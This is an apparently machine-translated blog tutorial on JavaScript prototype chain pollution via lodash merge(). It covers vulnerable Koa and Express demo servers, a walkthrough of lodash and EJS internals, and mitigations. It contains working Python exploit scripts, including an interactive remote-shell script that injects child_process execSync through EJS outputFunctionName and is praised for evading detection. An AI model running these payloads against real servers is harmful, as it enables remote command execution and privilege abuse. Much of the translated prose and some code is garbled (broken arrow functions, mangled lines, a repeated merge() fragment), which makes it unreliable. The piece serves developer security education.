As a front-end developer, ONE day I accidentally encountered the vulnerability of prototype chain pollution. I thought it had no impact at first, but I was so curious that I found that the vulnerability of prototype chain pollution can also take down the shell management rights of the server, so I must pay attention to it!

takeaway

One day was struggling to coding, the robot sent such a message

The NPM package XXX you released relies on a third-party module with security vulnerabilities. You can click here to view details and obtain repair suggestions.

This is a bug called “Prototype chain pollution”. Fortunately, this is only a dev dependency and has little impact in current functionality. It can be fixed by updating the pack version.

Currently this vulnerability affects frameworks commonly used are:

  • Lodash< = 4.15.11
  • JqueryThe < 3.4.0
  • .

0x00 How about merging objects?

In the interview, the interviewer asked the students to write an object merge, the students listened to the question, this, this, 30s to write a recursive object merge, the code is as follows:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}
Copy the code

But the interview students did not know that the code he implemented would bury a vulnerability of prototype chain pollution.

So, let’s take a look at the prototype chain vulnerabilities in a simple way, so that we can avoid these possible risks in the daily development process.

0x01 Prototype chain in JavaScript

1.1 Basic Concepts

In javaScript, the link between an instance object and a stereotype is called a stereotype chain. The basic idea is to use stereotypes to make one reference type inherit the properties and methods of another. And then you have a chain of instances and prototypes, and that’s the basic concept of a prototype chain.

Three nouns:

  1. Implicit stereotype: all reference types (functions, arrays, objects)__proto__ Properties, such asarr.__proto__
  2. Explicit prototype: All functions haveprototypeProperties, such as:func.prototype
  3. A prototype object:prototypeProperty that is created when the function is defined

The relationship between prototype chains can be seen in Figure 1.1:

Figure 1.1 Prototype chain diagram

1.2 Prototype chain search mechanism

When a variable calls a method or attribute, if the current variable does not have the method or attribute, it will search up in the prototype chain of the variable to see if the method or attribute exists. If so, it will be called, otherwise undefined is returned.

1.3 Where will it be used

In development, methods like toString() and valueOf() are often used. Array variables have more methods, such as forEach(), map(), includes(), and so on. For example, if you declare a variable of type ARR array, the ARR variable can call methods and properties that are not defined in the figure below.

As you can see from the implicit prototype of variables, these methods are already defined in the prototype of array type variables. For example, if a variable is of type Array, it can invoke the corresponding method or attribute based on the prototype chain lookup mechanism.

1.4 Risk point analysis & prototype chain contamination vulnerability principle

Let’s start with a simple example:

var a = {name: 'dyboy'.age: 18};
a.__proto__.role = 'administrator'
var b = {}
b.role    // output: administrator
Copy the code

The actual running result is as follows:

As you can see, you have added a role attribute to the implicit stereotype and assigned it to administrator. When a new object B is instantiated, although there is no role attribute, the ‘Administrator’ assigned to the prototype chain by object A can be read through the prototype chain.

The problem is that __proto__ is readable and writable. If a hacker can add, delete, or change methods or attributes on the prototype chain through some operation (common in merge, Clone, etc.), then the program may be vulnerable to DOS, overreach, and other attacks due to prototype chain contamination.

0x02 Demo & one-two Punch

2.1 Demo presentation

Demo uses koA2 to implement the server:

const Koa = require("koa");
const bodyParser = require("koa-bodyparser");
const _ = require("lodash");

const app = new Koa();
app.use(bodyParser());

// merge functions
const combine = (payload = {}) = > {
  const prefixPayload = { nickname: "bytedanceer" };
  / / usage may refer to: https://lodash.com/docs/4.17.15#merge
  _.merge(prefixPayload, payload);
  // Other problematic functions: merge defaultsDeep mergeWith
};

app.use(async (ctx) => {
  // Payload submitted by users is merged in a service scenario
  if(ctx.method === 'POST') {
    combine(ctx.request.body);
  }
  // some logic on some page
  const user = {
    username: "visitor"};let welcomeText = "Classmate, swim fitness, know about?";
  // Because user.role does not exist, constant is false, where the code cannot be executed
  if (user.role === "admin") {
    welcomeText = "Honored VIP, there you are!";
  }
  ctx.body = welcomeText;
});
app.listen(3001.() = > {
  console.log("Running: http://localohost:3001");
});
Copy the code

When a tourist user visits the website: http://127.0.0.1:3001/, the page will display “classmate, swim fitness, know about?”

You can see that the merge() function of loadsh (version 4.17.10) is used in the code to merge user payload and prefixPayload.

At first glance, there seems to be no problem, and there doesn’t seem to be any problem for the business. Whatever the user visits should only return “Classmate, swim and fitness, learn about it?” If user. Role is undefined, the code in the if judgment body will never be executed.

However, use the special payload test, which is to run our attack.py script

When we visit http://127.0.0.1:3001 again, we will find the following results returned:

All of a sudden, you’re a VIP at the gym, right? At this point, no matter what users visit this site, the return page will be displayed as above, everyone VIP era. If it is our code that has this problem online, [accident notification] know about it.

The code for attact.py is as follows:

import requests
import json
req = requests.Session()
target_url = 'http://127.0.0.1:3001'
headers = {'Content-type': 'application/json'}
# payload = {"__proto__": {"role": "admin"}}
payload = {"constructor": {"prototype": {"role": "admin"}}}
res = req.post(target_url, data=json.dumps(payload),headers=headers)
print('Attack complete! ')
Copy the code

Payload: {“constructor”: {“prototype”: {“role”: / / merge() {/ / merge() {/ / merge() {/ / merge() {/ / merge() {/ / merge() {/ / merge() {/ / merge() {/ / merge() {/ / merge() {/ / merge();

2.2 Analyze the implementation of the merge function in loadsh

The baseMerge(object, source, srcIndex) function is called from node_modules/lodash/merge.js. Node_modules /lodash/_baseMerge. Js baseMerge function on line 20

function baseMerge(object, source, srcIndex, customizer, stack) {
  if (object === source) {
    return;
  }
  baseFor(source, function(srcValue, key) {
    // If the merged attribute value is an object
    if (isObject(srcValue)) {
      stack || (stack = new Stack);
      / / call baseMerge
      baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
    }
    else {
      var newValue = customizer
        ? customizer(safeGet(object, key), srcValue, (key + ' '), object, source, stack)
        : undefined;
      if (newValue === undefined) {
        newValue = srcValue;
      }
      assignMergeValue(object, key, newValue);
    }
  }, keysIn);
}

Copy the code

Notice the safeGet functions:

function safeGet(object, key) {
  return key == '__proto__'
    ? undefined
    : object[key];
}
Copy the code

That’s why the payload above doesn’t use __proto__ but uses the prototype equivalent of the constructor for this attribute.

Payload is an object so go to node_modules/lodash/ _basemergedeep.js on line 32:

function baseMergeDeep(object, source, key, srcIndex, mergeFunc, customizer, stack) {
  var objValue = safeGet(object, key),
      srcValue = safeGet(source, key),
      stacked = stack.get(srcValue);
  if (stacked) {
    assignMergeValue(object, key, stacked);
    return;
  }
Copy the code

The location function assignMergeValue is placed at node_modules/lodash/_assignMergeValue. Js on line 13

function assignMergeValue(object, key, value) {
  if((value ! = =undefined && !eq(object[key], value)) ||
      (value === undefined && !(key inobject))) { baseAssignValue(object, key, value); }}Copy the code

Reposition baseAssignValue at node_modules/lodash/ _baseassignValue.js on line 12

function baseAssignValue(object, key, value) {
  if (key == '__proto__' && defineProperty) {
    defineProperty(object, key, {
      'configurable': true.'enumerable': true.'value': value,
      'writable': true
    });
  } else{ object[key] = value; }}Copy the code

Bypassing the if judgment and entering the else, it is a simple direct assignment without constructor or prototype judgment, hence:

prefixPayload = { nickname: "bytedanceer" };
/ / content: {" constructor ": {" prototype" : {" role ":" admin "}}}
_.merge(prefixPayload, payload);
// The prototype object is then assigned a property named role with a value of admin
Copy the code

As a result, users will enter into a logic that is impossible to enter, which causes the “overreach” problem above.

2.3 Combination of vulnerabilities, take down the server

From the Demo above, you might be under the illusion that the prototype chain vulnerability doesn’t seem to be a big deal and doesn’t need special attention (compared to SQL injection, XSS, CSRF, etc.).

Is it really so? Let’s take a look at another example that has been slightly modified (with the addition of the EJS rendering engine) to take down the server shell based on the prototype chain contamination vulnerability!

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const app = express();
app
    .use(bodyParser.urlencoded({extended: true}))
    .use(bodyParser.json());
app.set('views'.'./views');
app.set('view engine'.'ejs');
app.get("/".(req, res) = > {
    let title = 'Hello tourist';
    const user = {};
    if(user.role === 'vip') {
        title = 'hi VIP';
    }
    res.render('index', {title: title});
});
app.post("/".(req, res) = > {
    let data = {};
    let input = req.body;
    lodash.merge(data, input);
    res.json({message: "OK"});
});
app.listen(8888.'0.0.0.0');
Copy the code

This example is based on Express + EJS + Lodash. Similarly, visiting localhost:8888 will only display hello tourists. Remote Code Excution (RCE) can be implemented with ejS rendering and LoDash including prototype chain contamination vulnerability.

Let’s take a look at the attacks we can achieve:

As can be seen, with the help of the attack.py script, we can execute any shell command. In the following situation, hackers will carry out common-sense attacks such as rights raising, permission maintenance and horizontal penetration to obtain greater benefits, but at the same time, they will also bring greater losses to the enterprise.

The above attack method is based on loadSH prototype chain contamination vulnerability and EJS template rendering combined to form code injection, thus forming a more harmful RCE vulnerability.

Here’s why:

  1. Break the point to debug the Render method

  1. Go to the Render method and pass the options and template name to app.render()

  1. Get the ejS of the corresponding rendering engine

  1. Enter an exception handling

  1. Continue to

  1. Render through a template file

  1. Handling caching, this function also has little to offer

  1. Here we are, finally, where the template is compiled

9. Continue to trend

  1. Finally in the EJS library

In this file, opts.outputFunctionName is a undefined value at line 578. If the value exists, it is concatenated to the variable prepended, as seen at line 597, as part of the output source

On line 697, you put the spliced source code into a callback function and return that callback function

  1. The callback function is called in tryHandleCache

Finally the render output is finished to the client.

As you can see in step 10, line 578 opts.outputFunctionName is a undefined value, we assign a JS code through the object prototype chain, then it is spliced into the code (code injection), and the JS code is executed during template rendering.

In the NodeJS environment, the callable system method code can be spliced into the render callback function and passed to the callback function as the body of the function. Remote arbitrary code execution can be achieved, as demonstrated above, where the user can execute any system command.

2.4 Gracefully implement an attack script

The full Exploit code is as follows:

import requests
import json

req = requests.Session()

target_url = 'http://127.0.0.1:8888'

headers = {'Content-type': 'application/json'} # invalid attack # payload = {"__proto__": {"role": "vip"}} # payload = {"content": {"constructor": {"prototype": {"role": "vip"}}}} # RCE attack payload = {"content": {"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load('child_process').execSync('ls /'); / /"}}}} # Bounce shells, such as on MSF/CS # simulate an interactive shellif __name__ == "__main__":
    payload = '\{"content":\{"constructor": \{"prototype": \{"outputFunctionName": "a; return global.process.mainModule.constructor._load(\'child_process\').execSync(\'{}\'); / / "\} \} \} \} '
    while(True):
        shell = input('shell: ')
        if shell == ' ':
            continue
        if shell == 'exit':
            break
        formatStr = "a; return global.process.mainModule.constructor._load('child_process').execSync('" + shell +"'); / /"
        payload = {"content": {"constructor": {"prototype": {"outputFunctionName": formatStr}}}} res = req.post(target_url, Dumps (payload),headers=headers) res2 = req.get(target_URL) print(res2.text) #"a; return delete Object.prototype['outputFunctionName']; / /"
        payload = {"content": {"constructor": {"prototype": {"outputFunctionName": formatStr}}}}
        res = req.post(target_url, data=json.dumps(payload),headers=headers)
        req.get(target_url)

Copy the code

* The elegant part is that there is no impact on other users online, and hackers can infiltrate as unobserved as possible! Interested students can research and try!

0x03 How Do I Circumvent or Repair Vulnerabilities

3.1 Vulnerability Scenarios

  • Object cloning
  • Object to merge
  • The path Settings

3.2 How to Circumvent the Fault

First of all, the vulnerability of prototype chain actually requires the attacker to obtain the source code for the project or through some methods (such as file reading vulnerability). Therefore, the research cost of attack is high and generally need not worry. However, an attacker may use some scripts to do bulk black box testing, or use some experience or discipline to reduce research costs, so this issue cannot be easily ignored.

  1. Timely updates version: the company’s research and development system, the security operations involved in the whole process, in operation, such as packaging will automatically trigger safety testing, it will remind the developers may be risky to third party, which requires everyone timely corresponding tripartite package upgrade to the latest version, or try to replace the more secure package.
  2. Keyword filtering: Considering possible vulnerability scenarios, pay more attention to code blocks such as object copy and merge, and whether to filter for __proto__, constructor and prototype keywords.
  3. HasOwnProperty is used to determine whether the property comes directly from the target, ignoring properties inherited from the prototype chain.
  4. Filter sensitive key names when processing JSON strings.
  5. Use object.create (null) to create an Object without a prototype.
  6. Freeze (object.prototype) Freeze the Object prototype so that the Object prototype cannot be modified. Note that this method is a shallow freeze.

0x04 Questions & exploration

4.1 More Questions

  1. Q: Why is __proto__ not used in the demo payload? A: In version 4.17.10 of the Loadsh library I was using, I found that the __proto__ keyword was judged and filtered, so I thought of bypassing it by accessing the constructor’s Prototype

  1. Q: In Demo, why can any user access the Demo as a VIP after being attacked?

A: NodeJS runs in A single thread, so the properties on the prototype chain are similar to global, shared by all connected users. When A user changes the content on the prototype chain, all visitors access the application based on the modified prototype chain

4.2 explore

As a security researcher, the prototype chain vulnerability demonstrated above does not seem to pose a great threat, but in fact hacker attacks are often a combination of vulnerabilities. When a vulnerability of light risk level is the basis for the attack of high-risk vulnerabilities, can low-risk vulnerabilities still be considered as low-risk vulnerabilities? This requires security researchers not only to pursue the mining of high-risk vulnerabilities, but also to enhance the awareness of exploring basic vulnerabilities.

As developers, we can try to use tools to quickly detect whether there is a prototype chain contamination vulnerability in the program, so as to enhance the security of enterprise programs. Fortunately, some security checks have already been done internally through the build platform so that people can focus more on security.

Prototype chain pollution is hard to use though, but based on its characteristics, all open source libraries on the NPM can be seen, if a malicious hackers, through batch testing open source library, and through the collection features, so he wants to obtain the target program whether reference has holes open source libraries also is not a difficult thing.

Then we write a script to Github, it is not impossible…

If there is something wrong, welcome to correct!

  • Inheritance and Prototype Chain (MDN)
  • Prototype pollution attack (lodash)
  • JavaScript_prototype pollution attack in NodeJS
  • Lodash Document
  • JS frozen object “human words” perfect realization of how many layers?
  • National information security Vulnerability sharing platform